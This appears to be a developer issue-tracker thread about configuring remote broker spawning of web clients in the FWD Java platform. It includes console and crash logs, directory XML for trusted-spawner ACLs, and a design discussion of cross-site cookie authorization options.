26/01/05 14:40:46.325-0500 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
26/01/05 14:40:46.746-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:37309 -> fwddev1/192.168.1.241:3333
26/01/05 14:40:46.749-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
26/01/05 14:40:46.750-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
26/01/05 14:40:46.754-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
26/01/05 14:40:46.755-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
26/01/05 14:40:46.756-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
26/01/05 14:40:46.757-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
26/01/05 14:40:46.758-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
26/01/05 14:40:46.761-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
26/01/05 14:40:46.762-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
26/01/05 14:40:46.763-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
26/01/05 14:40:46.764-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
26/01/05 14:40:46.765-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'u76I91b1J50x0Sab'
26/01/05 14:40:47.112-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
26/01/05 14:40:47.116-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
26/01/05 14:40:47.140-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
26/01/05 14:40:47.147-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
26/01/05 14:40:47.150-0500 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
26/01/05 14:40:47.150-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a)
26/01/05 14:40:47.151-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
26/01/05 14:40:47.159-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[591]
26/01/05 14:40:47.160-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a]
26/01/05 14:40:47.160-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 9
26/01/05 14:40:47.161-0500 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
        at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
        at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
        at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:183)
INFO: Launch cmd arguments:
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx512m.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -classpath.
INFO: The argument number 8 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 10 is: net:server:host=fwddev1.
INFO: The argument number 11 is: net:socket:nio=false.
INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
INFO: The argument number 13 is: net:connection:secure=true.
INFO: The argument number 14 is: net:server:secure_port=3333.
INFO: The argument number 15 is: sso:subject:id=bogus.
INFO: The argument number 16 is: sso:storage:id=storage-hotel.
INFO: The argument number 17 is: client:web:host=fwddev2.
INFO: The argument number 18 is: remote:agent:dedicatedMode=true.
INFO: The argument number 19 is: client:web:port=7449.
INFO: The argument number 20 is: server:spawner:uuid=ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/client.

The fwd_client_base_crash_20260105_144809.log contains localhost for CLIENT:WEB:HOST. I'm not sure where that comes from:

   {
      NET:QUEUE:CONVERSATION = true
      NET:QUEUE:START_THREAD = false
      NET:SERVER:HOST = fwddev1
      NET:SERVER:SECURE_PORT = 3333
      NET:SOCKET:NIO = false
      NET:SSL:TRACKSEQNO = false
      NET:CONNECTION:SECURE = true
      SSO:SUBJECT:ID = bogus
      SSO:STORAGE:ID = storage-hotel
      CLIENT:WEB:HOST = localhost
      CLIENT:WEB:PORT = 7450
      CLIENT:WEB:SOCKETTIMEOUT = 90000
      CLIENT:WEB:WATCHDOGTIMEOUT = 120000
      CLIENT:WEB:MAXBINARYMESSAGE = 32768
      CLIENT:WEB:MAXTEXTMESSAGE = 4096
      CLIENT:WEB:MAXIDLETIME = 90000
      CLIENT:WEB:DELAYBETWEENTRIESTOCONNECT = 1000
      CLIENT:WEB:TRYTOCONNECTMESSAGE = \"The websocket connection to the application has been lost. Attempting to restore the connection.\" 
      CLIENT:WEB:SERVERUNAVAILABLEMESSAGE = \"The application server is no longer available. Please contact support.\" 
      CLIENT:WEB:CONNECTIONRESTOREDMESSAGE = \"The server connection has been restored.\" 
      CLIENT:WEB:PINGPONGINTERVAL = 30000
      CLIENT:WEB:MAXOUTPUTBUFFERSIZE = 1048576
      CLIENT:WEB:MAXOUTPUTAGGREGATIONSIZE = 8192
      CLIENT:WEB:MAXHTTPIDLETIMEOUT = 0
      CLIENT:WEB:MAXRESPONSEHEADERSIZE = 8192
      CLIENT:WEB:MAXREQUESTHEADERSIZE = 8192
      CLIENT:WEB:ENABLEDEBUGLOGGING = false
      CLIENT:WEB:SNIHOSTCHECK = false
      CLIENT:WEB:LANG = ?
      CLIENT:WEB:USELOCALSTORAGE = false
      CLIENT:WEB:BROADCASTCHANNELPINGTIMEOUT = -1
      CLIENT:WEB:EMBEDDED = false
      CLIENT:DRIVER:TYPE = gui_web
...

Roger Borrello wrote:

I'm getting a much more favorable situation, only the browser is indicating localhost refused to connect. I have the host as fwddev1 in the directory. The broker1 output shows:

I had <agent dedicatedMode="true"/> and was receiving localhost refused to connect. When I changed to "false" I now get the URL that returns:

The webpage at https://fwddev2:7449/index.html?token=50f010cb3ad9ecdaa02132b52ec26fa8 might be temporarily down or it may have moved permanently to a new web address.

The crash log shows:

   {
      NET:QUEUE:CONVERSATION = true
      NET:QUEUE:START_THREAD = false
      NET:SERVER:HOST = fwddev1
      NET:SERVER:SECURE_PORT = 3333
      NET:SOCKET:NIO = false
      NET:SSL:TRACKSEQNO = false
      NET:CONNECTION:SECURE = true
      SSO:SUBJECT:ID = bogus
      SSO:STORAGE:ID = storage-hotel
      CLIENT:WEB:HOST = fwddev2
      CLIENT:WEB:PORT = 7450
      CLIENT:WEB:SOCKETTIMEOUT = 90000
      CLIENT:WEB:WATCHDOGTIMEOUT = 120000
      CLIENT:WEB:MAXBINARYMESSAGE = 32768
      CLIENT:WEB:MAXTEXTMESSAGE = 4096
      CLIENT:WEB:MAXIDLETIME = 90000
...

When I authorize access, we end up with Jetty errors in the broker crash log:

26/01/05 16:10:25.699-0500 |    FINE | org.eclipse.jetty.util.thread.QueuedThreadPool | PID:4908, ThreadName:qtp275056979-29 | run org.eclipse.jetty.io.ManagedSelector$DestroyEndPoint@6881befc in QueuedThreadPool[qtp275056979]@10650953{STARTED,8<=8<=200,i=3,r=-1,t=59515ms,q=0}[ReservedThreadExecutor@7a34b7b8{capacity=1,threads=ThreadIdPool@66b72664{capacity=1}}]
26/01/05 16:10:25.699-0500 |   FINER | org.eclipse.jetty.io.SelectableChannelEndPoint | PID:4908, ThreadName:qtp275056979-29 | Could not retrieve local socket address
java.nio.channels.ClosedChannelException
        at java.base/sun.nio.ch.SocketChannelImpl.ensureOpen(SocketChannelImpl.java:195)
        at java.base/sun.nio.ch.SocketChannelImpl.getLocalAddress(SocketChannelImpl.java:236)
        at org.eclipse.jetty.io.SelectableChannelEndPoint.getLocalSocketAddress(SelectableChannelEndPoint.java:135)
        at org.eclipse.jetty.io.AbstractEndPoint.toEndPointString(AbstractEndPoint.java:447)
        at org.eclipse.jetty.io.SelectableChannelEndPoint.toEndPointString(SelectableChannelEndPoint.java:302)
        at org.eclipse.jetty.io.AbstractEndPoint.toString(AbstractEndPoint.java:441)
        at org.slf4j.helpers.MessageFormatter.safeObjectAppend(MessageFormatter.java:291)
        at org.slf4j.helpers.MessageFormatter.deeplyAppendParameter(MessageFormatter.java:263)
        at org.slf4j.helpers.MessageFormatter.arrayFormat(MessageFormatter.java:225)
        at org.slf4j.helpers.MessageFormatter.arrayFormat(MessageFormatter.java:160)
        at com.goldencode.p2j.util.logging.CentralSlf4jLogger.format(CentralSlf4jLogger.java:1069)
        at com.goldencode.p2j.util.logging.CentralSlf4jLogger.debug(CentralSlf4jLogger.java:339)
        at org.eclipse.jetty.io.ManagedSelector$DestroyEndPoint.run(ManagedSelector.java:1091)
        at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981)
        at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211)
        at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166)
        at java.base/java.lang.Thread.run(Thread.java:840)
26/01/05 16:10:25.699-0500 |   FINER | org.eclipse.jetty.io.SocketChannelEndPoint | PID:4908, ThreadName:qtp275056979-29 | Could not retrieve remote socket address
java.nio.channels.ClosedChannelException
        at java.base/sun.nio.ch.SocketChannelImpl.ensureOpen(SocketChannelImpl.java:195)
        at java.base/sun.nio.ch.SocketChannelImpl.getRemoteAddress(SocketChannelImpl.java:248)
        at org.eclipse.jetty.io.SocketChannelEndPoint.getRemoteSocketAddress(SocketChannelEndPoint.java:50)
        at org.eclipse.jetty.io.AbstractEndPoint.toEndPointString(AbstractEndPoint.java:448)
        at org.eclipse.jetty.io.SelectableChannelEndPoint.toEndPointString(SelectableChannelEndPoint.java:302)
        at org.eclipse.jetty.io.AbstractEndPoint.toString(AbstractEndPoint.java:441)
        at org.slf4j.helpers.MessageFormatter.safeObjectAppend(MessageFormatter.java:291)
        at org.slf4j.helpers.MessageFormatter.deeplyAppendParameter(MessageFormatter.java:263)
        at org.slf4j.helpers.MessageFormatter.arrayFormat(MessageFormatter.java:225)
        at org.slf4j.helpers.MessageFormatter.arrayFormat(MessageFormatter.java:160)
        at com.goldencode.p2j.util.logging.CentralSlf4jLogger.format(CentralSlf4jLogger.java:1069)
        at com.goldencode.p2j.util.logging.CentralSlf4jLogger.debug(CentralSlf4jLogger.java:339)
        at org.eclipse.jetty.io.ManagedSelector$DestroyEndPoint.run(ManagedSelector.java:1091)
        at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981)
        at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211)
        at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166)
        at java.base/java.lang.Thread.run(Thread.java:840)

Sergey Ivanovskiy wrote:

Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.

I had <agent dedicatedMode="true"/> and was receiving localhost refused to connect. When I changed to "false" I now get the URL that returns:

The webpage at https://fwddev2:7449/index.html?token=50f010cb3ad9ecdaa02132b52ec26fa8 might be temporarily down or it may have moved permanently to a new web address.

Roger, I cannot reproduce your issues.

From your logs I observed

26/01/05 14:40:47.160-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a]
26/01/05 14:40:47.160-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 9
26/01/05 14:40:47.161-0500 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
        at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
        at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
        at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:183)
INFO: Launch cmd arguments:
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx512m.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -classpath.
INFO: The argument number 8 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 10 is: net:server:host=fwddev1.
INFO: The argument number 11 is: net:socket:nio=false.
INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
INFO: The argument number 13 is: net:connection:secure=true.
INFO: The argument number 14 is: net:server:secure_port=3333.
INFO: The argument number 15 is: sso:subject:id=bogus.
INFO: The argument number 16 is: sso:storage:id=storage-hotel.
INFO: The argument number 17 is: client:web:host=fwddev2.
INFO: The argument number 18 is: remote:agent:dedicatedMode=true.
INFO: The argument number 19 is: client:web:port=7449.
INFO: The argument number 20 is: server:spawner:uuid=ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/client.

Hynek Cihlar wrote:

Sergey Ivanovskiy wrote:

Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.

Please let me re-iterate the idea.

The same-site policy must not be set to NONE, this introduces the vulnerability mentioned in my previous message.

Now to overcome the authorization cookie not accessible by the inner iframe (served by the client) I see two options.

1. A reverse proxy so that both the server content and the client content appear as a single domain.

or:

2. Do not use the secure cookie for authorization but instead send an authorization token in the Authorization HTTP header. This will require a change in AuthHandler (and JS driver), but the result will allow more deployment options (without the reverse proxy).

I used the hybrid method with the secure cookie and one time security token to prove that the secure cookie can work but it needs to setup them at the right moment but not on the first response when the iframe gets redirect url to the cross-site https://*:7449/index.html?token=ba717f0f0a72cb452bdd98d76f75edf6. It looks from the code that this page index.html should load our current client template page. At this moment the secure cookie is not forbidden by Chrome.

Sergey Ivanovskiy wrote:

Sergey Ivanovskiy wrote:

Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.

Sorry... I missed the one revision. I'll back off to 16336.

Sergey Ivanovskiy wrote:

From your logs I observed
[...]
that remote:agent:dedicatedMode=true but this parameter should change client:web:host=fwddev2 to client:web:host=localhost so this part should not work in your setup. remote:agent:dedicatedMode should be false.
I would like that you noted my repeated messages about the revision number that is needed to use with your setup #9709-304 and #9709-292.

For completeness, I closed the broker, and restarted it with remote:agent:dedicatedMode=true with the 16336 revision. The browser shows localhost refused to connect message.

Show the console logShow the console log

fwd@fwddev2:~/projects/hotel_gui/deploy/client$ ./client.sh -bc broker1_client.xml 
INFO: Spawn process started with pid 8007.
26/01/06 09:22:41.760-0500 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
26/01/06 09:22:42.260-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:41983 -> fwddev1/192.168.1.241:3333
26/01/06 09:22:42.263-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
26/01/06 09:22:42.264-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
26/01/06 09:22:42.266-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
26/01/06 09:22:42.267-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
26/01/06 09:22:42.268-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
26/01/06 09:22:42.269-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
26/01/06 09:22:42.271-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
26/01/06 09:22:42.272-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
26/01/06 09:22:42.273-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
26/01/06 09:22:42.274-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
26/01/06 09:22:42.275-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
26/01/06 09:22:42.276-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): '3CHOr217PBW6j476'
26/01/06 09:22:42.719-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
26/01/06 09:22:42.724-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
26/01/06 09:22:42.759-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
26/01/06 09:22:42.763-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
26/01/06 09:22:42.767-0500 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
26/01/06 09:22:42.768-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (1ed34232-7350-4597-8861-867e88c58533)
26/01/06 09:22:42.769-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
26/01/06 09:22:42.775-0500 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[591]
26/01/06 09:22:42.776-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7450, server:spawner:uuid=1ed34232-7350-4597-8861-867e88c58533]
26/01/06 09:22:42.777-0500 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 8
26/01/06 09:22:42.778-0500 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
        at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
        at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
        at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:183)
INFO: Launch cmd arguments:
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx512m.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -classpath.
INFO: The argument number 8 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 10 is: net:server:host=fwddev1.
INFO: The argument number 11 is: net:socket:nio=false.
INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
INFO: The argument number 13 is: net:connection:secure=true.
INFO: The argument number 14 is: net:server:secure_port=3333.
INFO: The argument number 15 is: sso:subject:id=bogus.
INFO: The argument number 16 is: sso:storage:id=storage-hotel.
INFO: The argument number 17 is: client:web:host=fwddev2.
INFO: The argument number 18 is: remote:agent:dedicatedMode=true.
INFO: The argument number 19 is: client:web:port=7450.
INFO: The argument number 20 is: server:spawner:uuid=1ed34232-7350-4597-8861-867e88c58533.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/client.

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

From your logs I observed
[...]
that remote:agent:dedicatedMode=true but this parameter should change client:web:host=fwddev2 to client:web:host=localhost so this part should not work in your setup. remote:agent:dedicatedMode should be false.
I would like that you noted my repeated messages about the revision number that is needed to use with your setup #9709-304 and #9709-292.

For completeness, I closed the broker, and restarted it with remote:agent:dedicatedMode=true with the 16336 revision. The browser shows localhost refused to connect message.

{{collapse(Show the console log)
[...]
}}

Yes, this is expected because the code uses window.location changes (fwd_sdk.js) and localhost in this case is the host on which the browser is opened. If the dedicatedMode is true, then the web client host is substituted by localhost.

I am still try to fix security issue. My previous note #9709-307 was not correct because testing with the broker environment shows the same restriction the secure cookie is blocked because came from the cross-site response. Thus at this moment I have an issue because do not know how to provide security token with lazy loaded dojo libraries. Dojo uses script tag to inject the loaded modules into the page.

I have a copy of 9709b on xfer.goldencode.com in /opt/fwd/9709b that I want to revert to 16336 for now. Should I unbind and revert, then bind, or just revert the unbound repo?

You could commit 16336 after 16337 to revert the changes.

Roger: Based on your trials and tribulations with this, I think our documentation needs edits. Please write those edits.

Sergey Ivanovskiy wrote:

You could commit 16336 after 16337 to revert the changes.

I reverted to 16336 on xfer, so if you checkout the xfer.goldencode.com/opt/fwd/9709b branch, you'll get the proper revision. I didn't want to make a change to the branch.

Greg Shah wrote:

Roger: Based on your trials and tribulations with this, I think our documentation needs edits. Please write those edits.

Which docs? As noted in #9709-3?

1. Has all the installation/setup as documented in Client Installation.
2. Does NOT have anything exclusively needed by Application Server Installation. In other words, there is no FWD server on that system and all the crud from the FWD server is not installed or setup.
3. If you need spawning on that client system (e.g. web clients or appserver agents or batch processes) then follow the instructions in Remote Launchers.

Roger Borrello wrote:

Greg Shah wrote:

Roger: Based on your trials and tribulations with this, I think our documentation needs edits. Please write those edits.

Which docs? As noted in #9709-3?

Yes, but especially the Remote Launchers

Greg Shah wrote:

Yes, but especially the Remote Launchers

Updated the client.xml section. I was looking at the server config, and I notice there are ACLs branch <trustedspawner> is ignored errors. Is the below section required?

    <node class="container" name="security">
      <node class="container" name="acl">
        <node class="container" name="trustedspawner">
          <node class="container" name="000100">
            <node class="resource" name="resource-instance">
              <node-attribute name="reference" value="fwd"/>
              <node-attribute name="reftype" value="TRUE"/>
            </node>
            <node class="trustedSpawnerRights" name="rights">
              <node-attribute name="allow" value="true"/>
            </node>
            <node class="strings" name="subjects">
              <node-attribute name="values" value="broker1"/>
            </node>
          </node>
        </node>

Roger Borrello wrote:

Greg Shah wrote:

Yes, but especially the Remote Launchers

Updated the client.xml section. I was looking at the server config, and I notice there are ACLs branch <trustedspawner> is ignored errors. Is the below section required?
[...]

I just removed trusterspawner, and it still works fine. I had trouble when I tried to add a second broker. It failed when I did the SSLCertGenUtil:

java -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -C YES -dir directory.xml
Initializing service for directory directory.xml...
class 'container' name ''
java.lang.RuntimeException: class 'container' name ''
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:323)
        at com.goldencode.p2j.directory.XmlRemapperIO.load(XmlRemapperIO.java:171)
        at com.goldencode.p2j.directory.XmlRemapper.load(XmlRemapper.java:163)
        at com.goldencode.p2j.directory.RamRemapper.bind(RamRemapper.java:263)
        at com.goldencode.p2j.directory.DirectoryService.rollBack(DirectoryService.java:5579)
        at com.goldencode.p2j.directory.DirectoryService.<init>(DirectoryService.java:321)
        at com.goldencode.p2j.directory.DirectoryService.createInstance(DirectoryService.java:345)
        at com.goldencode.p2j.security.SSLCertGenUtil.generate(SSLCertGenUtil.java:362)
        at com.goldencode.p2j.security.SSLCertGenUtil.main(SSLCertGenUtil.java:1974)
Caused by: java.lang.RuntimeException: class 'container' name 'security'
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:323)
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:319)
        ... 8 more
Caused by: java.lang.RuntimeException: class 'container' name 'acl'
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:323)
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:319)
        ... 9 more
Caused by: java.lang.RuntimeException: class 'container' name 'trustedspawner'
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:323)
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:319)
        ... 10 more
Caused by: java.lang.RuntimeException: class 'container' name '000100' failed to add child
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:327)
        at com.goldencode.p2j.directory.XmlRemapperIO.readNode(XmlRemapperIO.java:319)
        ... 11 more

Unable to bind to underlying back-end
Exception in thread "main" com.goldencode.p2j.cfg.ConfigurationException: Can't initialize directory
        at com.goldencode.p2j.directory.DirectoryService.<init>(DirectoryService.java:323)
        at com.goldencode.p2j.directory.DirectoryService.createInstance(DirectoryService.java:345)
        at com.goldencode.p2j.security.SSLCertGenUtil.generate(SSLCertGenUtil.java:362)
        at com.goldencode.p2j.security.SSLCertGenUtil.main(SSLCertGenUtil.java:1974)

I had just added a second broker like below, but that might not have been the correct configuration. In any case, it works without the entire section.

    <node class="container" name="security">
      <node class="container" name="acl">
        <node class="container" name="trustedspawner">
          <node class="container" name="000100">
            <node class="resource" name="resource-instance">
              <node-attribute name="reference" value="fwd"/>
              <node-attribute name="reftype" value="TRUE"/>
            </node>
            <node class="trustedSpawnerRights" name="rights">
              <node-attribute name="allow" value="true"/>
            </node>
            <node class="strings" name="subjects">
              <node-attribute name="values" value="broker1"/>
            </node>
            <node class="strings" name="subjects">
              <node-attribute name="values" value="broker2"/>
            </node>
          </node>
        </node>

Roger, you can investigate the code of BrokerManager.schedule and add changes here to see which one is selected for the particular user.

Sergey Ivanovskiy wrote:

Roger, you can investigate the code of BrokerManager.schedule and add changes here to see which one is selected for the particular user.

Thanks for the pointer, but I don't need to go that deep right now. I need to get to configuration automation so I can setup Docker in multi-broker mode.

